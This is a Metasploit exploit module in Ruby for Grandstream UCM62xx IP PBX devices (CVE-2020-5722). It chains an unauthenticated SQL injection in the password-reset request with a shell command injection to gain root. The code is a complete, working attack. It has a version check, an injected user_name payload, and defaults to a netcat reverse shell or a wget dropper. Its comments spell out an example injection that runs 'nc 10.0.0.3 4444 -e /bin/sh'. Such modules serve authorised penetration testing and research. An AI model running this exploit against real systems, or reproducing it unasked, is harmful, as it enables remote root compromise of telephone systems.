## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Grandstream UCM62xx IP PBX sendPasswordEmail RCE', 'Description' => %q{ This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and a command injection vulnerability (technically, no assigned CVE but was inadvertently patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX series of devices. The vulnerabilities allow an unauthenticated remote attacker to execute commands as root. Exploitation happens in two stages: 1. An SQL injection during username lookup while executing the "Forgot Password" function. 2. A command injection that occurs after the user provided username is passed to a Python script via the shell. Like so: /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 ` This module affect UCM62xx versions before firmware version 1.0.19.20. }, 'License' => MSF_LICENSE, 'Author' => [ 'jbaines-r7' # Vulnerability discovery, original exploit, and Metasploit module ], 'References' => [ [ 'CVE', '2020-5722' ], [ 'EDB', '48247'] ], 'DisclosureDate' => '2020-03-23', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'DisableNops' => true, 'BadChars' => '\'&|' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'wget' ] } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 8089, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end ## # Sends a POST /cgi request with a payload of action=getInfo. The # server should respond with a large json blob like the following, # where "prog_version" is he firmware version: # # {"response"=>{ # "model_name"=>"UCM6202", "description"=>"IPPBX Appliance", # "device_name"=>"", "logo"=>"images/h_logo.png", "logo_url"=>"http://www.grandstream.com/", # "copyright"=>"Copyright \u00A9 Grandstream Networks, Inc. 2014. All Rights Reserved.", # "num_fxo"=>"2", "num_fxs"=>"2", "num_pri"=>"0", "num_eth"=>"2", "allow_nat"=>"1", # "svip_type"=>"4", "net_mode"=>"0", "prog_version"=>"1.0.18.13", "country"=>"US", # "support_openvpn"=>"1", "enable_openvpn"=>"0", "enable_webrtc_openvpn"=>"0", # "support_webrtc_cloud"=>"0"}, "status"=>0} ### def check normalized_uri = normalize_uri(target_uri.path, '/cgi') vprint_status("Requesting version information from #{normalized_uri}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalized_uri, 'vars_post' => { 'action' => 'getInfo' } }) return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200 body_json = res.get_json_document return CheckCode::Unknown('No JSON in response') unless body_json prog_version = body_json.dig('response', 'prog_version') return false if prog_version.nil? vprint_status("The reported version is: #{prog_version}") version = Rex::Version.new(prog_version) if version < Rex::Version.new('1.0.19.20') return CheckCode::Appears("This determination is based on the version string: #{prog_version}.") end return CheckCode::Safe("This determination is based on the version string: #{prog_version}.") end ## # Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection # and then it will get passed to a python script via sh which allows us to execute a command injection. # It will look something like this: # # /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \ # password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 ` # # This functionality is related to the"Forgot Password" feature. This function is rate limited by # the server so that an attacker can only invoke it, at most, every 60 seconds. As such, only a few # payloads are appropriate. ### def execute_command(cmd, _opts = {}) rand_num = Rex::Text.rand_text_numeric(1..5) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/cgi'), 'vars_post' => { 'action' => 'sendPasswordEmail', 'user_name' => "' or #{rand_num}=#{rand_num}--`;`#{cmd}`;`" } }, 5) # the netcat reverse shell payload holds the connection open. So we'll treat no response # as a success. The meterpreter payload does not hold the connection open so this clause digs # deeper to ensure it succeeded. The server will respond with a non-0 status if the payload # generates an error (e.g. rate limit error) if res fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res.code == 200 body_json = res.get_json_document fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json status_json = body_json['status'] fail_with(Failure::UnexpectedReply, 'The JSON response is missing the status element') unless status_json fail_with(Failure::UnexpectedReply, "The server responded with an error status #{status_json}") unless status_json == 0 end print_good('Exploit successfully executed.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end end